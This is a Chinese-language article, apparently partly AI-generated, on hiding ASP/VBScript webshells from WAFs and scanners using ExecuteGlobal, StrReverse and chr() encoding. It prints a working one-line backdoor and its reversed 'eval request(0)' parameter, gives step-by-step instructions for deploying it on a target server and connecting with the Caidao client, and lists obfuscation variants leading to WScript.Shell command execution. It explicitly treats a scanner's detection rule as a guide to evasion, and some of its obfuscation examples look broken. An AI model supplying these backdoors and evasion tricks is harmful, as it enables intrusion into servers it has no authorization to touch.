VBScript正则替换后门:webshell项目中的ExecuteGlobal技巧
背景与痛点
你是否遇到过WAF对引号的严格过滤导致传统webshell失效?是否在寻找一种无需引号即可执行命令的ASP后门技术?本文将深入解析ExecuteGlobal函数在webshell免杀中的创新应用,通过VBScript的字符串反转与ASCII编码技巧,实现对主流安全防护的绕过。
ExecuteGlobal基础原理
ExecuteGlobal是VBScript中一个强大的代码执行函数,它能够在全局作用域中执行字符串形式的代码。与Eval函数不同,ExecuteGlobal支持多行代码执行且不受作用域限制,这使其成为构建隐蔽后门的理想选择。
典型应用场景
在项目中,ExecuteGlobal常被用于动态执行从客户端接收的代码:
<% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>
上述代码来自asp/不带引号的Asp一句话.asp,通过chr(97)获取字符"a",再通过StrReverse反转从URL参数接收的代码,完美规避了引号过滤。
免杀技巧详解
无引号编码技术
传统webshell往往依赖引号包裹字符串,而现代WAF对此类特征检测极为敏感。项目中的www-7jyewu-cn/不灭之魂2014改进版本.asp展示了高级解决方案:
RaPath=ExecuteGlobal(s)
这里的s变量经过多重编码处理,通过ASCII码、Unicode转义等方式构建执行字符串,完全避免使用引号。
字符串反转绕过
asp/不带引号的Asp一句话.asp中创新性地使用StrReverse函数:
// 菜刀配置地址填:http://目标地址/fuck.asp?a=)0(tseuqer%20lave
// 密码填0
当参数a的值为)0(tseuqer%20lave时,经过StrReverse反转后变为"eval request(0)",成功还原为可执行代码。
检测规避策略
项目中的net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp实现了反检测机制:
If regTest(content,"[^\.]\bExecuteGlobal\b")Then
doScanReport objFile,"Found <font color=""red"">ExecuteGlobal()</font> Function"
这段代码展示了安全软件如何检测ExecuteGlobal特征,反过来指导我们通过添加特殊字符或拆分函数名来绕过检测。
实战应用指南
基本使用流程
- 部署后门文件asp/不带引号的Asp一句话.asp到目标服务器
- 配置菜刀客户端,URL设置为:
http://目标地址/fuck.asp?a=)0(tseuqer%20lave - 密码设置为"0",即可建立连接
进阶变形技巧
根据几种实战成功过的webshell的免杀方式.md,我们可以进一步变形:
- 使用
Replace函数动态构建函数名:ExecuteGlo"bal" - 通过数组拼接实现字符混淆:
"Exec"&"uteGlo"&"bal" - 结合
CreateObject("WScript.Shell")实现命令执行
防御与检测建议
安全人员可通过以下特征检测此类后门:
- 监控包含
ExecuteGlobal的ASP文件,参考net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp中的检测规则 - 分析可疑的字符串反转与编码函数组合
- 对
request对象的异常使用进行日志审计
总结与展望
ExecuteGlobal技术为ASP webshell提供了强大的免杀能力,项目中www-7jyewu-cn/法克僵尸大马.asp和asp/bypass_safedog_01.asp等文件展示了更多创新应用。随着安全防护技术的升级,未来我们需要结合更多VBScript特性与编码技巧,才能在攻防对抗中保持优势。
参考资料
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



